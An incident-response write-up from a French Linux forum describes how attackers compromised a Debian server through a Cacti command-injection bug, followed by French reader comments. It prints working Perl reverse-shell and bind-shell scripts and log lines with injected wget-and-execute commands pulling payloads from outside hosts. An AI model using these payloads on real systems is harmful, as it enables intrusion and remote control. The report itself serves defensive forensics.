Journal A Security Report: Cacti and Consequences

Posté par  .
Étiquettes :
0
19
juil.
2005
This article describes how we discovered an intrusion in our server (kewl), gathered intrusion elements and the deduced strategy of the attackers. It is publicly released because it may be of some interest for administrators. Please use it for Good Purposes.

Introduction

We have a server hosting several associations. It is a Debian Sarge system, using as often as possible debian packages -- for the strength and global policies of the community. As of today, Debian Sarge is in the main (stable) stream for nearly one month, and no security update has been provided for the installed packages since the entry of sarge in main on June 6th, 2005.

We had no security concerns until this day -- the server is approximately 10 months old, and hosted in a datacenter. The last kernel image upgrade forced us to a reboot 200 days ago, but no downtime had been observed since.

System reporting is provided by Cacti for graphs about system resources and Nagios for services-oriented management. Cacti installed version is 0.8.6c-7.

Tiger is a set of scripts that scan a Unix system looking for security problems. It has already proven itself to be useful, and is configured to send periodic reports about file system strange files or directories, setuid scripts, and globaly insecure patterns. And, most importantly in the case of a datacenter-hosted server, it checks processes listening on network interfaces.

Alarms

Tiger mails administrators about security concerns a few times a day. It reports about file system strange files or directories, setuid scripts, and globaly insecure patterns. And, most importantly, it checks processes listening on network interfaces. On June 1st, sent mail indicated a new process running on TCP socket 2306, by user www-data.

De: Tiger automatic auditor at kewl.mistur.org root@kewl.mistur.
org
À: root@kewl.mistur.org
Objet: Tiger Auditing Report for kewl.mistur.org
Date: Fri, 1 Jul 2005 04:20:29 +0200 (CEST)

# Checking listening processes
NEW: --WARN-- [lin003w] The process `love' is listening on socket
2306 (TCP on every interface) is run by www-data.

The same day, Tiger sent another report about some suspicious directory names in the /tmp directory.

De: Tiger automatic auditor at kewl.mistur.org root@kewl.mistur.org
À: root@kewl.mistur.org
Objet: Tiger Auditing Report for kewl.mistur.org
Date: Fri, 1 Jul 2005 02:14:46 +0200 (CEST)

# Performing check of user accounts...
# Performing check of passwd files...
# Looking for unusual device files...
NEW: --ALERT-- [fsys005a] Unusual filename `.w' found:
NEW: --ALERT-- [fsys005a] Unusual filename `.x' found:

Some types of checks are done by Tiger only once a month, e.g. looking for unusual device files, while other are hourly, e.g. processes listening on network interface. The files had been created on Jun 24, 2005.

kewl:~# ls -l /tmp/.[wx]
/tmp/.w:
total 132
-rw-r--r-- 1 www-data www-data 160 Jun 26 09:00 1
-rw-r--r-- 1 www-data www-data 160 Jun 24 19:00 2
-rw-r--r-- 1 www-data www-data 160 Jun 26 05:00 3
-rw-r--r-- 1 www-data www-data 18645 Jun 26 00:50 Linux.seen
-rw-r--r-- 1 www-data www-data 24057 Jun 26 05:00 ment0ru.seen
-rw-r--r-- 1 www-data www-data 1043 Jun 26 09:00 raw.levels
-rw------- 1 www-data www-data 6 Jun 24 00:56 raw.pid
-rw-r--r-- 1 www-data www-data 1469 Jun 26 09:00 raw.session
-rw-r--r-- 1 www-data www-data 6787 May 27 18:53 raw.set
-rw-r--r-- 1 www-data www-data 56141 Jun 26 09:00 root.seen

/tmp/.x:
total 3062
-rw-r--r-- 1 www-data www-data 417 Jul 1 00:00 1
-rw-r--r-- 1 www-data www-data 417 Jul 1 00:00 2
-rw-r--r-- 1 www-data www-data 417 Jul 1 00:00 3
-rw-r--r-- 1 www-data www-data 790094 Jul 1 00:20 CService.seen
-rw-r--r-- 1 www-data www-data 767909 Jul 1 00:20 IRCop.seen
-rw-r--r-- 1 www-data www-data 104321 Jun 30 13:39 LinkEvents
-rw-r--r-- 1 www-data www-data 822879 Jul 1 00:20 mIRC.seen
-rwx------ 1 www-data www-data 582647 Mar 1 22:38 mail
drwxr-xr-x 2 www-data www-data 304 Apr 2 09:15 rand
-rw-r--r-- 1 www-data www-data 22465 Dec 28 2002 raw.help
-rw-r--r-- 1 www-data www-data 1022 Jul 1 00:00 raw.levels
-rw------- 1 www-data www-data 6 Jun 26 09:18 raw.pid
-rw-r--r-- 1 www-data www-data 2224 Jul 1 00:00 raw.session
-rw-r--r-- 1 www-data www-data 4821 Jun 2 14:12 raw.set

Nagios sent a SMS about a huge network load at the same time.

Server inspection

/dev/shm

Later on, we connected and saw a strange stuff in /dev/shm, where the love process was rooted.

kewl:~# ls -l /dev/shm
drwxr-xr-x 7 www-data www-data 504 Jul 1 03:23 lamer
drwx------ 2 www-data www-data 352 Jul 1 02:42 list
-rwxr-xr-x 1 www-data www-data 17784 Apr 19 14:17 love
drwxr-xr-x 2 root root 72 Jun 27 20:31 network
drwxr-xr-x 2 www-data www-data 144 Jul 1 03:02 scan

The network directory is regular; but the love executable and other directories owned by www-data belong to an unauthorized user (only the two administrators have access to a shell).

kewl:~# ls -l /dev/shm/*
-rwxr-xr-x 1 www-data www-data 17784 Apr 19 14:17 love

dev/shm/lamer:
total 508
-rwxr-xr-x 1 www-data www-data 35 2005-02-15 09:51 conf
-rwxr-xr-x 1 www-data www-data 298 2005-02-15 09:52 config
-rwxr-xr-x 1 www-data www-data 929 2002-05-07 00:19 config.h
-rwxr-xr-x 1 www-data www-data 341 2004-11-13 22:42 fuck
drwxr-xr-x 2 www-data www-data 4096 2005-01-02 22:50 help
drwxr-xr-x 2 www-data www-data 4096 2005-01-02 22:50 lang
drwxr-xr-x 2 www-data www-data 4096 2005-07-01 09:15 log
drwxr-xr-x 2 www-data www-data 4096 2005-07-01 03:08 motd
-rwxr-xr-x 1 www-data www-data 203360 2004-10-19 00:08 pico
-rwxr-xr-x 1 www-data www-data 14306 2003-11-13 14:31 proc
-rwxr-xr-x 1 www-data www-data 202544 2002-11-08 21:30 proftpd
accepting:connections
-rw------- 1 www-data www-data 4481 2005-07-01 03:23 psybnc.conf
-rw------- 1 www-data www-data 4481 2005-07-01 03:22 psybnc.conf.old
-rw------- 1 www-data www-data 6 2005-07-01 02:48 psybnc.pid
-rwxr-xr-x 1 www-data www-data 64 2004-11-13 22:33 run
drwxr-xr-x 3 www-data www-data 4096 2005-02-15 10:04 scripts
-rwxr-xr-x 1 www-data www-data 21516 2002-09-25 21:13 xh

dev/shm/list:
total 1344
-rw-r--r-- 1 www-data www-data 4096 2005-07-01 02:29 209.182.pscan.22
-rw-r--r-- 1 www-data www-data 0 2005-07-01 02:42 217.196.pscan.22
-rwx------ 1 www-data www-data 580 2005-03-03 08:10 a
-rw-r--r-- 1 www-data www-data 22354 2004-12-02 00:31 common
-rwxr-xr-x 1 www-data www-data 265 2004-11-25 00:21 gen-pass.sh
-rwx------ 1 www-data www-data 89 2005-03-03 08:03 go.sh
-rw-r--r-- 1 www-data www-data 1140 2005-03-27 17:38 pass_file
-rwx------ 1 www-data www-data 21407 2004-07-21 23:58 pscan2
-rwx------ 1 www-data www-data 453972 2004-07-12 20:09 ss
-rwxr-xr-x 1 www-data www-data 842736 2004-11-24 13:34 ssh-scan

dev/shm/scan:
total 2016
-rwxr-xr-x 1 www-data www-data 1465147 2005-01-06 16:18 lol
-rwxr-xr-x 1 www-data www-data 359 2004-07-20 03:40 scan.sh
-rwxr-xr-x 1 www-data www-data 570487 2005-01-06 16:18 ss
-rw-r--r-- 1 www-data www-data 8636 2005-07-01 03:02 uniq.txt

shell.pl

A quick view in the /tmp directory showed up a rather suspicious shell.pl script. The date of creation indicates that the intrusion mechanism is ready for a few days now, although files in the shm directory have been created this night.

kewl:~# ls -l /tmp/shell.pl
-rw-r--r-- 1 www-data www-data 348 2005-06-24 14:46 tmp/shell.pl
kewl:~# less /tmp/shell.pl
#!/usr/bin/perl
use Socket;
use IO::Handle;
use POSIX;

$proto = getprotobyname('tcp');
socket(Socket_Handle, AF_INET, SOCK_STREAM, $proto);
$sin = sockaddr_in(65000 ,inet_aton("82.101.14.162"));
connect(Socket_Handle,$sin);
dup2(Socket_Handle->fileno, 0);
dup2(Socket_Handle->fileno, 1);
dup2(Socket_Handle->fileno, 2);
exec { "/bin/sh" } "";

This script connects on port 65000 of host 82.101.14.162, execs a shell and duplicates its stdin, stdout and stderr to the newly created socket.

Confidences gathering

SSH known_hosts

Evidently enough, the www-data account had been stealed. No www-data files (especially hosted sites) had been modified, but the .ssh/known_hosts of user www-data had two new entries. This account is used by administrators from root su-ing only, and should not have any ssh entry keys.

204.157.15.108 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAtMNvcJmHmRubc
cn2KDShqiFL+hY7PTKviUts7pWPu4jaLksD5vH9jPY4jHOpOFliCJr+sW6ZJf0XE
b2mi2WqIkTAsunkTEq4a6HCsfudwviJpfH6F/ymjtLa+mm7glzmv5m06VrHGKXmU
roU/XNZypP1Kux5Pd1j9UPZB63f2R0=
66.235.160.30 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA1jkbrQ8cpZoHeC
N5Lu9PNf9BEaMPQXoes7UaTojpuPviJenLlQIlOyrqJf3P3e2WuGNP6McpKCc8EO
pYwI/5N39RzWDshNeaGmmVrBRiaSwZKNwuaIlvto9PT2flg8y+bvJWjUGhcoDQzN
alNIPru762HBzTAiR2+s4176cYoyc=

The attacker has been connected from two different places, both resolving in US, Washington DC.

Tiger

A more detailed look in Tiger reports a few days before showed that a perl process had been listening on socket 4444 on Fri, 24 Jun 2005.

De: Tiger automatic auditor at kewl.mistur.org <root@kewl.mistur
.org>
À: root@kewl.mistur.org
Objet: Tiger Auditing Report for kewl.mistur.org
Date: Fri, 24 Jun 2005 00:01:03 +0200 (CEST)

# Checking for existence of log files...
# Checking running processes
# Checking listening processes
NEW: --WARN-- [lin003w] The process `perl' is listening on socke
t 4444 (TCP on every interface) is run by www-data.

Several processes were also running on Sun, 26 Jun 2005.

De: Tiger automatic auditor at kewl.mistur.org root@kew
l.mistur.org
À: root@kewl.mistur.org
Objet: Tiger Auditing Report for kewl.mistur.org
Date: Sun, 26 Jun 2005 10:00:13 +0200 (CEST)

# Checking listening processes
OLD: --WARN-- [lin003w] The process `httpd' is listening on
socket 57691 (UDP on every interface) is run by www-data.
NEW: --WARN-- [lin003w] The process `mail' is listening on
socket 51265 (UDP on every interface) is run by www-data.
OLD: --WARN-- [lin003w] The process `perl' is listening on
socket 4444 (TCP on every interface) is run by www-data.
NEW: --WARN-- [lin003w] The process `raven' is listening on
socket 59768 (TCP on every interface) is run by www-data.

One of the tool found in /dev/shm/lamer, hx, is a process faker. We cannot rely on processes names or ownership. The mail executable has been found in /tmp/.x, and the perl script on port 4444 is probably the second shell.pl found later.

Apache logs

Apache logs show the shell.pl perl script execution and unreveal the responsible service for the attack: cacti, and a link to the bug.

kewl:~# grep shell.pl access.log
210.187.123.13 - - [24/Jun/2005:16:59:11 +0200] "GET /cacti/grap
h_image.php?local_graph_id=29&graph_start=%0acd%20/tmp;wget%20bo
lintin.netfirms.com/shell.jpg;mv%20shell.jpg%20shell.pl;chmod%20
+x%20shell.pl;perl%20shell.pl%0a HTTP/1.1" 200 13 "-" "LWP::Simp
le/5.65" 109 80.67.172.53
213.239.207.7 - - [26/Jun/2005:09:04:08 +0200] "GET /cacti/graph
_image.php?local_graph_id=29&graph_start=%0acd%20/tmp;wget%20htt
p://albythebest.altervista.org/shell.pl;chmod%20777%20shell.pl;p
erl%20shell.pl%0a HTTP/1.1" 200 13 "-" "LWP::Simple/5.76" 216999
80.67.172.53

The second url from which the perl script is downloaded is still available today. It basically listens on port 4444, opens a shell and furnishes stdin, stdout and stderr.

#!/usr/bin/perl
use Socket;
$port=4444;
$proto=getprotobyname('tcp');
$cmd="lpd";
$system='/bin/sh';
$0=$cmd;

socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
for(;$paddr=accept(CLIENT, SERVER);close CLIENT) {
open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);
}

This one is less stealth than the first script: it listens to an interface and is seen by Tiger, thus the alert on Jun, 26th.

The two ip used for connections resolve resp. at Kuala Lumpur (Malaysia) and Gunzenhausen (Germany). The LWP::Simple/5.76 mention for user agent induces use of a script.

Nagios

Nagios furnished also some information about the activity of the server on July, 1st. Several alerts were generated about the server itself and about the gateway, which is also monitored. They can be imputed to important activity.

July 01, 2005 04:00
Service Critical[01-07-2005 03:57:39] SERVICE ALERT: kewl;PING;C
RITICAL;SOFT;2;CRITICAL - Plugin timed out after 10 seconds
Service Critical[01-07-2005 03:56:08] SERVICE ALERT: kewl;PING;C
RITICAL;SOFT;1;CRITICAL - Plugin timed out after 10 seconds
Host Up[01-07-2005 03:56:08] HOST ALERT: kewl;UP;SOFT;2;(No outp
ut!)
Host Down[01-07-2005 03:55:42] HOST ALERT: kewl;DOWN;SOFT;1;CRIT
ICAL - Plugin timed out after 10 seconds

July 01, 2005 05:00

Service stopped flapping[01-07-2005 05:28:18] SERVICE FLAPPING A
LERT: gw;PING;STOPPED; Service appears to have stopped flapping
(4.4% change < 5.0% threshold)

The Vulnerability

A security report from the cacti bug tracking system was published on 06-15-05: 0000487: Arbitrary Command Execution on graph_image.php. It has been fixed in version 0.8.6e.

Cacti contains an input validation error in the graph_image.php
script that allows an attacker to send in the url Unix commands.
This in effect allows arbitrary code execution with the
privileges of the web server. The following example demonstrates
how this might be exploited:

/graph_image.php?local_graph_id=8&graph_start=%0aUNIX COMMAND%0a

The %0a is the url-encoded form of the newline char, i.e. \n.
Successful exploitation of this vulnerability allows a remote attacker
to gain shell access with the privileges of the web server. An attacker
can then attempt to escalate privileges using local exploits, possibly
allowing a full root compromise.

Typically, attacker will wget a script from a slave http server, change permissions and execute it.

/graph_image.php?local_graph_id=8&graph_start=%0acd%20/tmp;wget
%20http://albythebest.altervista.org/shell.pl;chmod%20777%20she(...)
ll.pl;perl%20shell.pl%0a

The Debian bug tracking system also published a security report on 06-25-05: #315703 cacti: remote vulnerabilities (CAN 2005-{1524,1525,1526}), but the package provided by the cacti maintainer was not uploaded by the security team.

The recommended workaround is to require authentication to access the Cacti installation, and to restrict access to web servers using Cacti to only trusted hosts.

Actions & Conclusion

The first action was to disable the www-data account, by replacing the default shell in /etc/passwd by /bin/false. Then, backup and remove strange stuff:

  • /tmp/shell.pl

  • /dev/shm/* things -- excepted the root-owned network directory,

  • /tmp/.w

  • /tmp/.x

  • backup only: /var/log/apache, /var/log/auth.*, /var/log/cacti.



We verified main system binaries with md5sum (yes md5sum is a main system binary) and reinstalled main packages from apt repositories. Everything seemed ok, and there was no track of root ownership.

The /dev/shm and /tmp directory should have been set no-exec, which implies that /tmp should be set on a separate disk partition.

Tiger had well fulfilled its role and is kept on the system. Other intrusion detection systems and log checkers have also been installed and configured.

Most probably, the scenario of the attack can be reconstructed as follows:


  1. on June 24th, the attacker sent a GET request on the cacti scripts, retrieved the script from bolintin.netfirms.com/shell.jpg, renamed it, set it executable and executed it.
    \item the shell.pl script found in the /tmp directory opens a connection to port 65000 of host 82.101.14.162 and connects it to a shell (/bin/sh).

  2. on June 26th, another attacker used the same method from another host, but with a slightly different script.

  3. on July 1st, the love process began to run from /dev/shm, which fired the Tiger alarms. A huge load on bandwidth fired the Nagios alarm as well. A few hours later, the www-data account was disabled. The load on July 1st has probably been generated by a mass mailing, since we did not find any consequent storage area on the server. The mail utility in /tmp/.x/ was probably used for this.



Several IP were left on host.


  • 82.101.14.162 in shell.pl

  • 210.187.123.13 in apache logs

  • 213.239.207.7 in apache logs

  • 204.157.15.108 in SSH known_hosts

  • 66.235.160.30 in SSH known_hosts

  • albythebest.altervista.org/shell.pl in apache logs

  • bolintin.netfirms.com/shell.jpg in apache logs.

  • # Auteurs

    Posté par  . Évalué à 2.

    Hop, j'en ai mangé une partie lors de la mise en page. Les auteurs sont Moulin Yoann et moi-même, désolé mistur pour l'oubli.

    • [^] # Re: Auteurs

      Posté par  . Évalué à 0.

      C'est quoi ce bordel, on est sur linuxfr quand même !

      • [^] # Re: Auteurs

        Posté par  . Évalué à 8.

        Je me suis dit la même chose, mais vu que le contenu est bon, finalement, j'en remercie les auteurs. Même si c'est en anglais, c'est une enquête presque policière assez intéressante. Un bon scénario, quoi !

        • [^] # Re: Auteurs

          Posté par  . Évalué à 5.

          oui, c'est ce que je me suis dit : à choisir entre ça et rien, autant le mettre. Sans troll -- c'est mon opinion -- ça a plus de sens en anglais qu'un thread de 4 km sur la guerre des mondes de spielberg. En l'occurrence, c'est un journal privé, pas un article ; donc les répercussions sont limitées.

          Loïc, ta remarque n'est pas constructive du tout. c'est à cause de réactions comme cela que linuxfr est devenu un troquet ou les gens parlent plus qu'ils n'agissent.

          Désolé pour les anglophobes, j'ai misé sur le libre partage de la connaissance. Si une version française est dispo un jour je la mettrai en lien.

          • [^] # Re: Auteurs

            Posté par  . Évalué à 3.

            > Désolé pour les anglophobes, j'ai misé sur le libre partage de la connaissance. Si une version française est dispo un jour je la mettrai en lien.

            puisque tu sembles plsu qu'à l'aise en anglais au point de poster un texte aussi long dans la langue de shakespeare, pourquoi ne pas le traduire alors ?

            La remarque de Loïc n'est pas constructive ?
            Et ? on critique bien ceux qui écrivent en sms ou avec des fautes, parce que c'est pas du français... là, c'est pas du français non plus donc...

        • [^] # Re: Auteurs

          Posté par  . Évalué à 2.

          Effectivement, c'est angoissant et stressant à souhait !
          Heureusement que je ne suis pas admin réseau !

          (Par contre, je suis en train de flipper pour mon PC qui tourne chez moi...)

      • [^] # Re: Auteurs

        Posté par  . Évalué à 1.

        T'as pas fini de raler ? c'est pas possible !!

        On est peut-être sur linuxfr comme tu le dis, mais on fait aussi parti du monde, et pour le moment, la langue la plus répandue lors des échanges est l'anglais.

        Et puis en plus, qui t'obliges à lire le journal ?

        non mais...

        • [^] # Re: Auteurs

          Posté par  (site web personnel) . Évalué à 9.

          bah honnetement, ça fait un peu "je copie colle mon truc". Le fait qu'il n'y ait pas une seule ligne de français renforce cette idée et laisse penser que l'auteur s'en soucis très peu.

          L'article est certe intéressant, mais dieu merci, tous les gens qui écrivent des textes intéressant ne se sentent pas obliger des les copier/coller ici :)

          Pour ceux qui ça intéresse, dans MISC on a droit à des études de ce genre en français et très complet.

          • [^] # Re: Auteurs

            Posté par  (site web personnel) . Évalué à 1.

            Bah pour moi qui suis anglophobe, je viens de jouer avec babelfish pour tenter savoir de quoi ça parle et franchement, il y plus agréable pour comprendre un article technique !!!

            Sinon pour revenir sur le sujet initial, en somme aujourd'hui avoir une connection haut débit demande de solide base d'administration système, ce qui n'est pas à la portée de tout le monde malheureusement :(

            • [^] # Re: Auteurs

              Posté par  (site web personnel) . Évalué à 2.

              les programmes ne sont pas plus troués qu'avant. Par contre les gens font facilement n'importe quoi, ce qui n'a rien à faire avec la taille de ta connexion (size does not mater). Si tu décides d'installer apache+php+mysql chez toi, il faut savoir ce que tu fais, c'est tout.

          • [^] # Re: Auteurs

            Posté par  . Évalué à 3.

            Dans MISC, ce ne sont pas des études d'un niveau certain ? Pour un newbie en sécu comme moi, c'est compréhensible ?

            • [^] # Re: Auteurs

              Posté par  (site web personnel) . Évalué à 2.

              >> Dans MISC, ce ne sont pas des études d'un niveau certain ? Pour un newbie en sécu comme moi, c'est compréhensible ?

              Ben ça dépend vraiment de ton niveau. Moi par exemple j'ai acheté le dernier MISC (celui avec le dossier sur la cryptographie malicieuse et le cryptage/blindage des virus) et bien j'ai quasi rien pigé !!!
              Beaucoup de code (donc si t'est pas programmeur tu capte que pouic) et des analyses techniques pointues.
              C'était un essai que je faisais pour voir si les articles étaient lisibles pour moi...ben la réponse est non ! dommage :(
              Si t'est sur la défense je peux te filer mon exemplaire parceque sinon je le bazarde.

              • [^] # Re: Auteurs

                Posté par  . Évalué à 2.

                Le code ne m'intéresse pas trop, je ne suis pas développeur dans l'âme. Je trouve intéressant le côté admin par contre (comme ce journal).
                Je ne suis pas sur la Défense, mais merci quand même !

            • [^] # Re: Auteurs

              Posté par  . Évalué à 2.

              En fait le niveau du magazine dépend enormément de son contenu.
              Tu vas avoir des articles avec pas mal de code (tout ce qui concerne les virus/exploit..) qui peuvent etre dur a aborder, et d'autre qui sont plus des études de cas/tuto ..

              Le meilleur moyen pour voir si le niveau te convient reste de lire des articles. Tu peux en trouver quelques uns ici : http://miscmag.com/articles/(...)

        • [^] # Re: Auteurs

          Posté par  . Évalué à 2.

          On est peut-être sur linuxfr comme tu le dis, mais on fait aussi parti du monde, et pour le moment, la langue la plus répandue lors des échanges est l'anglais.

          Jusqu'à preuve du contraire, la langue la plus répandue lors des échanges entre francophones est le français ! Et pour ta gouverne, je m'exprime en anglais 99% de mon temps. Et pourtant il ne me viendrait pas à l'idée de poster un journal en anglais ici.

          Et puis en plus, qui t'obliges à lire le journal ?

          Argument débile, qui t'as obligé à lire mon commentaire ?

          • [^] # Re: Auteurs

            Posté par  . Évalué à 0.

            Jusqu'à preuve du contraire, la langue la plus répandue lors des échanges entre francophones est le français

            Je suis d'accord, mais restreindre linuxfr a un espace d'échanges francophones est à mon avis très réducteur.

            Et pourtant il ne me viendrait pas à l'idée de poster un journal en anglais ici.

            Sauf que peut-être cet article n'a pas été crée exclusivement pour linuxfr, mais pour être diffusé sur d'autres sites qui eux peuvent être destiné à un public non francophone. Je doute que l'auteur ait eu le temps ou l'envie de retraduire le texte pour chacun des sites sur lequel il l'a diffusé.

            Ce qui m'etonne en plus c'est que vous ralez car le texte est en anglais, mais on ne vous entends pas quand les journaux ont des liens vers des textes en anglais, ou alors lorsque des personnes introduisent dans leurs journaux des extraits de phrases en anglais.

            Argument débile, qui t'as obligé à lire mon commentaire ?
            Personne, c'est bien pour ça que je ne l'ai pas lu ;-)
            Sérieusement, votre réaction est typiquement française, et ça me gonfle: "On râle et après on discute."
            Est-ce que ça n'aurait pas été plus simple de demander à l'auteur de traduire son texte ou la prochaine fois de le faire au lieu de raler ( C'est quoi ce bordel, on est sur linuxfr quand même !) ?

            • [^] # Re: Auteurs

              Posté par  . Évalué à -2.

              > restreindre linuxfr a un espace d'échanges francophones est à mon avis très réducteur.

              oh ? ah bon ?
              quel con je suis, je pensais que le "fr" de linuxfr avait un lien, même éloigné, avec FRance ou FRancophone....

              • [^] # Re: Auteurs

                Posté par  . Évalué à 0.

                mouais, tu fais expres de ne pas comprendre.

                restreindre linuxfr a un espace d'échanges francophones
                <->
                n'autoriser que les échanges francophones, se limiter aux échanges francophones.

                Tu peux très bien avoir un espace francophone, qui regroupe les utilisateurs francophones de linux, mais qui comporte de temps en temps des articles non-francophones.

          • [^] # Re: Auteurs

            Posté par  . Évalué à -3.

            Sauf que le journal, il était sans destination particulière, tandis que ton commentaire lui était directement adressé....

            et si tu t'exprimes en anglais 99% du temps, alors où le problème ??

            un geek qui se dit informaticien sans maîtriser l'anglais est mal barré en mon sens.... sauf si un "hard coder" en logo, ou en windev

    • [^] # Re: Auteurs

      Posté par  . Évalué à 6.

      A part le côté copier-coller (une petite introduction du sujet en français aurait été un plus non négligeable) c'est du beau travail bien rapporté et ça mérite un intéressement.

      Bravo à vous deux pour l'enquête

  • # Un peu long pour un journal ?

    Posté par  . Évalué à 7.

    Un lien sur un site web avec une rapide description en français aurait été plus approprié il me semble. Surtout que l'article est en anglais.

    Sinon, ça a l'air très intéressant. Merci pour l'info, je vais lire ça dès que j'aurait un moment.

  • # /dev/omg

    Posté par  . Évalué à 2.

    J'ai lu d'un trait du début à la fin.

    Très angoissant. J'en ai encore des frissons :P

    L'admin réseau a un bon ésprit de déduction et une grande expérience du système Linux. Assez impressionnant.

    Par contre, ça aurait été pas mal de signer ou de donner une source quelconque. Sans titre et sans signature, l'article est un peu tout nu (mais bien poilu!)

    Pour ceux qui ça intéresse, dans MISC on a droit à des études de ce genre en français et très complet.

    Heu.. MISC ? /dev/misc ? misc.com ? Je sais pas ce que c'est MISC. Plus de précisions svp :)

  • # Pas le seul...

    Posté par  (site web personnel) . Évalué à 2.

    Salut

    d'autres personnes ont été victimes de Cacti < 0.8.6e, par exemple : "Real World Example of Injection Exploit" http://forums.cacti.net/viewtopic.php?t=8224(...)

    Ce qui me dérange un peu, c'est que certaines distribs attribuent un shell au compte 'apache'...

  • # J'ai subi le même genre d'attaque il y'a une quinzaine de jours ...

    Posté par  (site web personnel) . Évalué à 4.

    ... et elle a failli réussir.

    J'avais awstats (un analyseur de logs) qui tournait sur mon serveur web. Certaines version 6.x ont un trou de sécurité qui permet d'exécuter des commandes avec les droits apache. Cette faille a été exploitée pour télécharger (avec wget) détarrer et executer une sorte de bot IRC dans /tmp/.x exactement comme dans le 3ème bloc de ce journal. Le bot n'a pas pu se connecter à un serveur IRC parce qu'iptables veillait au grain (d'ou l'intérêt de filtrer aussi ce qui sort et pas seulement ce qui rentre). Le log d'iptables était rempli de centaines de tentatives. Il se trouve que j'avais fait une sauvegarde complète du système quelques jours auparavant ce qui m'a permis de remettre le système dans l'état dans lequel il se trouvait avant l'attaque.

    J'ai viré les droits en lecture et en exécution pour other sur tous les exécutables du système et modifié leurs groupes pour que les différents utilisateurs ne puissent exécuter que les exécutables qu'ils sont sensés pouvoir exécuter (comme perl pour apache, mais pas wget ou tar ou encore bash). J'avais depuis longtemps ajouté un virtualhost dans la config d'apache pour que les accès direct par l'IP ne puissent pas accéder au site lui même. C'est très pratique pour détecter les tentatives d'intrusions. J'avais malheuresement oublié d'ajouter une section pour les CGIs.

  • # hmmm

    Posté par  (site web personnel) . Évalué à 6.

    Il aurait fallu avoir :

    * php en safe-mode, avec les paramètres open_basedir, file_uploads et upload_tmp_dir configuré sur mesure.
    * un petit firewall iptables qui rejète tous les ports en entrées/sorties sauf ceux qui sont explicitement nécessaire.

    Avec ces précautions, à defaut d'empécher l'intrusion, ça l'aurait rendu inutile.


    Cela dit, c'est déjà pas mal d'avoir Tiger et des outils de monitoring en surveillance :)

  • # MD5sum

    Posté par  . Évalué à 3.

    > We verified main system binaries with md5sum (yes md5sum is a main system binary)

    De préférence, utilisez un autre algorithme
    Des attaques sur le MD5sum sont déjà en vigueur (créé des fichiers générant la même empreinte md5 par exemple)

    Perso, j'utilise SHA-1 avec OpenSSL, comme ci :

    $ openssl sha1 /etc/hosts
    SHA1(/etc/hosts)= 2b43b67e891479abbfb58553d2becfc488138997

    Sinon il existe sha1sum (équivalent md5sum mais pour sha1) sur certains systèmes :

    $ sha1sum /etc/hosts
    2b43b67e891479abbfb58553d2becfc488138997 /etc/hosts


    SHA1 est à prendre aussi avec des pincettes, car des attaques dessus ont réussi, mais il a fallu beaucoup de temps et beaucoup de puissances de calculs pour arriver à un résultat concret.

    Pour plus d'info :
    - http://fr.wikipedia.org/wiki/SHA-1(...)
    - http://www.hashcash.org/docs/sha1-hashcash.html(...)

    • [^] # Re: MD5sum

      Posté par  (Mastodon) . Évalué à 3.

      L'idéal c'est d'en utiliser plusieurs justement. La ça commence à devenir dur de générer un fichier non identique qui a la même empreinte sur plusieurs algo...

    • [^] # Re: MD5sum

      Posté par  (site web personnel) . Évalué à 3.

      SHA1 est à prendre aussi avec des pincettes, car des attaques dessus ont réussi, mais il a fallu beaucoup de temps et beaucoup de puissances de calculs pour arriver à un résultat concret.

      Précisions : il existe une attaque théorique en 2^69 sur SHA-1 tel qu'il est décrit dans FIPS 180-1 mais aucune collision n'a encore été exhibée. Par contre il existe des collisions sur un SHA-1 réduit à 58 rounds.

      En clair pas de panique, on peut encore utiliser SHA-1, SHA-224, SHA-256, SHA-384 et SHA-512 en toute tranquillité en attendant que de nouveaux algos sortent des labos de cryptographie.

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.